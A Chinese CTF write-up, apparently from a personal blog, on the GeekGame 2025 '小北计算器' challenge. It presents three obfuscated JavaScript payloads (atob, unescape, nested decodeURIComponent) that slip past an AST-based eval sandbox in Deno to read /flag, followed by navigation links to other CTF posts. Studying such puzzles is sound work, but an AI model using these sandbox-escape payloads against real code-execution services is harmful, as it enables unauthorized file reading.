<!-- 21. `path.isIdentifier()` 末尾的变量名检查: 禁止使用任何不在全局作用域（globalThis）中的自定义变量，确保只能引用内置的全局变量。段代码通过遍历抽象语法树（AST）来实施严格的沙盒限制，目的是只允许极小功能的子集JavaScript代码运行。以下是每个防御规则的功能解释： -->

      if (path.isIdentifier()) {
        const name = path.node.name
        if (!(name in globalThis)) {
          throw new Error('Bad Code (variable)')
        }
      }
    }
  })
}

上传的payload可以被eval(执行)

WP

1. base64方案：

1
2
3

// btoa("ÿ:a = Deno.readTextFileSync('/flag')//\x7f")
setTimeout(atob(/zphID0gRGVuby5yZWFkVGV4dEZpbGVTeW5jKCcvZmxhZycpLy9/))
a

找到一个叫setTimeout的可以执行代码的函数，用/包装应该被当作字符串的结构，这部分代码会可以绕过AST检查，而在stob()函数中被隐式转换成字符串执行,然后需要想办法干掉前后的/。

我之前不知道js的解析原理，所以排除了这个形式，但实际上，这个atob(/zphID0gRGVuby5yZWFkVGV4dEZpbGVTeW5jKCcvZmxhZycpLy9/)会在eval触发时直接解析。

和eval不同，setTimeout的作用域是全局，可以创建全局变量。

2. unescape方案：

//  // Error.prototype.toString=function(){return Deno.readTextFileSync('/flag')} //
setTimeout(unescape(/%u002F%u002F%u2028%u0045%u0072%u0072%u006F%u0072%u002E%u0070%u0072%u006F%u0074%u006F%u0074%u0079%u0070%u0065%u002E%u0074%u006F%u0053%u0074%u0072%u0069%u006E%u0067%u003D%u0066%u0075%u006E%u0063%u0074%u0069%u006F%u006E%u0028%u0029%u007B%u0072%u0065%u0074%u0075%u0072%u006E%u0020%u0044%u0065%u006E%u006F%u002E%u0072%u0065%u0061%u0064%u0054%u0065%u0078%u0074%u0046%u0069%u006C%u0065%u0053%u0079%u006E%u0063%u0028%u0027%u002F%u0066%u006C%u0061%u0067%u0027%u0029%u007D%u2028%u002F%u002F/))

throwerror

unescape可以将字符串中特殊的十六进制转义序列替换回它们所代表的原始字符整体思路和上面的一致，只不过这个想干掉/不用东拼西凑了。

3. 邪道方案：

1
2

Error.prototype.toString = function(){return Deno.readTextFileSync('/flag')}
for(var isNaN of String(/%/))if((setTimeout()+2)%3)setTimeout(decodeURIComponent(decodeURIComponent(isNaN+25+isNaN+34+isNaN+35+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+32+isNaN+45+isNaN+25+isNaN+37+isNaN+30+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+37+isNaN+39+isNaN+25+isNaN+37+isNaN+30+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+32+isNaN+45+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+35+isNaN+33+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+39+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+36+isNaN+37+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+33+isNaN+44+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+36+isNaN+36+isNaN+25+isNaN+37+isNaN+35+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+36+isNaN+33+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+36+isNaN+39+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+32+isNaN+38+isNaN+25+isNaN+32+isNaN+39+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+37+isNaN+42+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+37+isNaN+35+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+34+isNaN+34+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+32+isNaN+45+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+36+isNaN+31+isNaN+25+isNaN+36+isNaN+34+isNaN+25+isNaN+35+isNaN+34+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+37+isNaN+38+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+34+isNaN+36+isNaN+25+isNaN+36+isNaN+39+isNaN+25+isNaN+36+isNaN+43+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+35+isNaN+33+isNaN+25+isNaN+37+isNaN+39+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+36+isNaN+33+isNaN+25+isNaN+32+isNaN+38+isNaN+25+isNaN+32+isNaN+37+isNaN+25+isNaN+32+isNaN+46+isNaN+25+isNaN+36+isNaN+36+isNaN+25+isNaN+36+isNaN+43+isNaN+25+isNaN+36+isNaN+31+isNaN+25+isNaN+36+isNaN+37+isNaN+25+isNaN+32+isNaN+37+isNaN+25+isNaN+32+isNaN+39+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+37+isNaN+44)))

这是top1的写法，还是和很神奇的，这个思路是把干掉/提前到/%/了,然后用for和if得到正确的payload。

关于isNaN:

循环变量随便起一个名字比如 a 就会被过滤，但是如果变量名是在 globalThis 里面就不会被过滤，所以随便选了一个 isNaN 作为循环变量。

感觉能写出这种payload代码功力也太强了吧。

闲话：

这道题是最近开始打ctf的第一道，结果因为知识欠缺以及没尝试脑内否决的方案失败了，但学到的东西还是很多了。

慢慢打总会变强的，坚持下去吧。

内部机制	核心概念	对普通开发者的实用价值
对象模型	万物皆对象，底层有统一结构	理解 Python 动态、灵活的特性，为什么函数可以像变量一样传递。
魔法方法 (`__...__`)	特定操作触发的隐式调用	让你的自定义类支持 `+`、`len()`、`for` 循环等，编写出更“Pythonic”的代码。
特殊属性 (`__doc__`, etc.)	暴露对象内部状态和元数据	在运行时动态地检查和修改对象的属性和行为（反射），编写更高级的工具和框架。
字节码	源代码编译后的中间语言	使用 `dis` 模块分析代码性能瓶颈，理解 `.pyc` 文件的作用。

代码场景	写法	解析器理解的键 (Key)	结果
`str.format()`	`...[os]`	`"os"` (字符串)	✅ 成功
`str.format()`	`...['os']`	`"'os'"` (带引号的字符串)	❌ 失败 (KeyError)
Python 代码	`...[os]`	`<module 'os'>` (对象)	❌ 失败 (KeyError)
Python 代码	`...['os']`	`"os"` (字符串)	✅ 成功

小游戏 on Fish Site

AAA26

ACTF AAA'26

MongoDB 盲注爆邀请码

vm2 前缀匹配侧信道爆jwt密钥

imagemagick + xml 本地读取文件

碎碎念

SU2026_uri

SUCTF2026_uri 题目复现

docker环境搭建的相关配置

1：挂载 /var/run/docker.sock

2：socat 代理 Docker API 到 127.0.0.1:2375

docker api利用链

代码审计

dns-rebind

docker api利用细节

闲话

nu1l junior web WP

n1j wp

bun

addr

伪造身份

cmdi

next_waf

pacman

闲话

n1j web 练习

unzip

ping

gavatar

SEKAI ctf 复现

SEKAI CTF 复现

my-flask-app-1

RCTF2025-rootb 战败复盘

RCTF2025-rootb 战败复盘

碎碎念

复现

uoftctf-2025 misc支线

misc 赏玩

Surgery

Math-test

Racing-1

Poof

Racing-2

Out Of The Container

Walk in the Forest

Model Assembly Line

类型注解

前向引用

UofTCTF-2025-web-复现

UofTCTF-2025-web-复现

1. scavenger-hunt

2. CodeDB

ReDos测试

源码鉴定

3. prismatic-blogs

prepared

一阶段

Python 内部机制 (Python Internals)

1. 数据模型：一切皆对象 (Everything is an Object)

2. 魔法方法 / Dunder 方法 (Magic/Dunder Methods)

3. 特殊属性 (Special Attributes)

4. 字节码与 Python 虚拟机 (Bytecode & PVM)

总结：实用信息

二阶段

1. 失败的格式化

2. 成功的格式化

3. 失败的直接访问

4. 成功的直接访问

总结对照表

pointer overflow ctf

1. All Paths Lead Home

2. This Must Be the Place

geekgame 2025 小北计算器

geekgame 小北计算器 战败复盘

题目分析

WP

1. base64方案：

2. unescape方案：

3. 邪道方案：

1：挂载 `/var/run/docker.sock`

2：socat 代理 Docker API 到 `127.0.0.1:2375`

geekgame 小北计算器战败复盘